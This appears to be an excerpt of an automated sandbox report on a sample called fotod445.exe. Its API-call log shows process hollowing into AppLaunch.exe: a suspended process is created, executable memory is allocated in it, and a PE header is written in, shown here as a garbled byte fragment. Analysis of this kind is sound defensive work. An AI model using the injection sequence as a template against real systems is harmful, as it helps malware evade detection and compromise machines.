NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 1628 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000ec		3221225496
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: base_address: 0x00000000 process_identifier: 1628 process_handle: 0x000000ec		0
CreateProcessInternalW Sept. 13, 2023, 7:44 a.m.	thread_identifier: 2484 thread_handle: 0x000000f4 process_identifier: 496 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000000f0	1	1
NtGetContextThread Sept. 13, 2023, 7:44 a.m.	thread_handle: 0x000000f4	1	0
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 496 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000f0	1	0
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $Ñ ÿmYÿmYÿmYFnXÿmYFhXÿmYFiXÿmY1YÿmY1hX³ÿmY1iXÿmY1nXÿmYFlXÿmYÿlYÅÿmYdXÿmYYÿmYoXÿmYRichÿmYPEL%Íeà$¬AÀ@@Ì(Pà`ä0p@À.textE«¬ `.rdata¤aÀb°@@.dataØ0 @À.rsrcàP@@.relocä`@B base_address: 0x00400000 process_identifier: 496 process_handle: 0x000000f0	1	1
WriteProcessMemory Sept. 13, 2023, 7:44 a.m.	buffer: base_address: 0x00401000 process_identifier: 496 process_handle: 0x000000f0	1	1

fotod445.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All